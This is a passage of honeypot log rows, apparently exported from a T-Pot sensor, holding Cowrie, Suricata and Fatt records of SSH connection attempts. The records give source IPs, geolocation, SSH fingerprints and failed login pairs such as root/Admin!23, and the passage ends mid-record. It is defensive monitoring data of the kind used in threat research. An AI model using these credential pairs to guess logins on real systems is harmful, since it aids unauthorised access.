27671	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:10.87619+03	2021-09-20 14:30:01.772524+03	{"_id": "qQbqAnwBvYTbRNuEwSl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [tech/tech] failed", "session": "3af8cd5e8103", "@version": "1", "password": "tech", "username": "tech", "timestamp": "2021-09-20T11:15:10.876190Z", "@timestamp": "2021-09-20T11:15:10.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27672	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:11.169821+03	2021-09-20 14:30:01.773523+03	{"_id": "qgbqAnwBvYTbRNuEwSl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c96c725a9b8f", "@version": "1", "timestamp": "2021-09-20T11:15:11.169821Z", "@timestamp": "2021-09-20T11:15:11.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
42520	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:27:07.525429+03	2021-09-20 16:30:01.877738+03	{"_id": "wAZjA3wBvYTbRNuEjp8y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:27:07.525429Z", "@timestamp": "2021-09-20T13:27:07.525Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27673	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:11.380738+03	2021-09-20 14:30:01.774524+03	{"_id": "qwbqAnwBvYTbRNuEwSl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2e036f571af5", "@version": "1", "timestamp": "2021-09-20T11:15:11.380738Z", "@timestamp": "2021-09-20T11:15:11.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27674	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:15:11.380445+03	2021-09-20 14:30:01.775523+03	{"_id": "rAbqAnwBvYTbRNuExCmb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43792, "dest_port": 22, "timestamp": "2021-09-20T11:15:11.380445", "@timestamp": "2021-09-20T11:15:11.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27675	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:15:12.05439+03	2021-09-20 14:30:01.777525+03	{"_id": "rwbqAnwBvYTbRNuExSle", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [root/Admin!23] failed", "session": "0ea6c61a8bca", "@version": "1", "password": "Admin!23", "username": "root", "timestamp": "2021-09-20T11:15:12.054390Z", "@timestamp": "2021-09-20T11:15:12.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27676	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:12.371473+03	2021-09-20 14:30:01.778524+03	{"_id": "sgbqAnwBvYTbRNuExSlf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [sftpuser/sftpuser] failed", "session": "c96c725a9b8f", "@version": "1", "password": "sftpuser", "username": "sftpuser", "timestamp": "2021-09-20T11:15:12.371473Z", "@timestamp": "2021-09-20T11:15:12.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27677	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:12.268465+03	2021-09-20 14:30:01.779524+03	{"_id": "tAbqAnwBvYTbRNuExSlg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3af8cd5e8103", "@version": "1", "duration": 3.483179807662964, "timestamp": "2021-09-20T11:15:12.268465Z", "@timestamp": "2021-09-20T11:15:12.268Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
42622	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:27:58.426476+03	2021-09-20 16:30:02.013738+03	{"_id": "owZkA3wBvYTbRNuEUaCg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:27:58.426476Z", "@timestamp": "2021-09-20T13:27:58.426Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27678	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:13.169132+03	2021-09-20 14:30:01.781523+03	{"_id": "tQbqAnwBvYTbRNuExylH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1413932984069472, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33914, "dest_port": 22, "timestamp": "2021-09-20T11:15:13.169132Z", "@timestamp": "2021-09-20T11:15:13.169Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27679	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:13.169297+03	2021-09-20 14:30:01.782525+03	{"_id": "tgbqAnwBvYTbRNuEyCmE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33914, "timestamp": "2021-09-20T11:15:13.169297", "@timestamp": "2021-09-20T11:15:13.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27680	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:13.048264+03	2021-09-20 14:30:01.783524+03	{"_id": "uAbqAnwBvYTbRNuEySlH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e6945613b1df", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:13.048264Z", "@timestamp": "2021-09-20T11:15:13.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27681	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:12.893084+03	2021-09-20 14:30:01.784523+03	{"_id": "uwbqAnwBvYTbRNuEySlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33914 (192.168.176.2:22) [session: e6945613b1df]", "session": "e6945613b1df", "@version": "1", "protocol": "ssh", "src_port": 33914, "dest_port": 22, "timestamp": "2021-09-20T11:15:12.893084Z", "@timestamp": "2021-09-20T11:15:12.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27682	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:13.53671+03	2021-09-20 14:30:01.785524+03	{"_id": "vAbqAnwBvYTbRNuEySlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", 